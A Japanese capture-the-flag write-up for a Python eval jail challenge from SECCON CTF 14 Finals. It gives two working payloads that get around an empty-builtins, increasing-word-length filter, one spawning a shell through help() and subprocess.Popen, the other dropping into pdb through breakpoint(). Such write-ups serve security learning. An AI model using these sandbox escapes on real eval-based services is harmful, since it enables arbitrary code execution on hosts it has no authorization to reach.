SECCON CTF 14 Finals - increasing
Challenge
Python 3.14.3。130文字以内のASCIIコードで、ワード(\w+)の長さが常に増加している必要がある。
code = input("code> ")[:130]
if not code.isascii(): print("bye") exit(1)
max_len = 0for m in __import__("re").finditer(r"\w+", code): if len(m[0]) <= max_len: print("bye") exit(1) max_len = len(m[0])
eval(code, {"__builtins__": {}})Solution
解法1: help()経由
__reduce_ex__でbuiltinsを取得し、help()を対話モードで起動:
[].__reduce_ex__(-~([]==[]))[[]<[]].__getattribute__("\u005f_builtins__x"[:~([]<[])])["\U00000068elpxxxxxx"[:-~-~-~([]==[])]]()helpでモジュールをロードすると__subclasses__()の中身が更新される。subprocessをロードしてPopenを増やし、その後jailをロードして再度code入力を行う:
help> subprocesshelp> jail....__eq__.__objclass__.__subclasses__()[~-~-~-~-~([]==[])]("shxxxxxxxxxxxxx"[:-~([]==[])])解法2: breakpoint()経由
breakpoint()は内部で__import__などのbuiltin要素を使用するため、空の__builtins__のままだとエラーになる。walrus演算子でグローバルの __builtins__を上書きしてから呼び出す:
(__builtins__:="".__reduce_ex__(-~(()==()))[()<()].__getattribute__("\u005f_builtins__X"[:~(()<())]))["\U00000062reakpoint"]()pdbが起動するので任意コード実行可能。
Technical Details
__reduce_ex__の活用
pickleプロトコル用のメソッドで、空のbuiltinsからでも__builtins__を取得できる:
[].__reduce_ex__(2)[0].__getattribute__('__builtins__')増加制約のバイパス
| 技術 | 説明 |
|---|---|
| Unicode エスケープ | \u005f(_)、\U00000068(h) |
| 文字列スライス | 長い文字列から必要な部分を切り出す |
| 比較演算子 | []==[]→True(=1)、[]<[]→False(=0) |
| ビット演算 | -~xでx+1 |
help による subclasses の更新
help()でモジュールのドキュメントを表示すると、そのモジュールがインポートされる。結果としてobject.__subclasses__()に新しいクラスが追加され、subprocess.Popenなどにアクセス可能になる。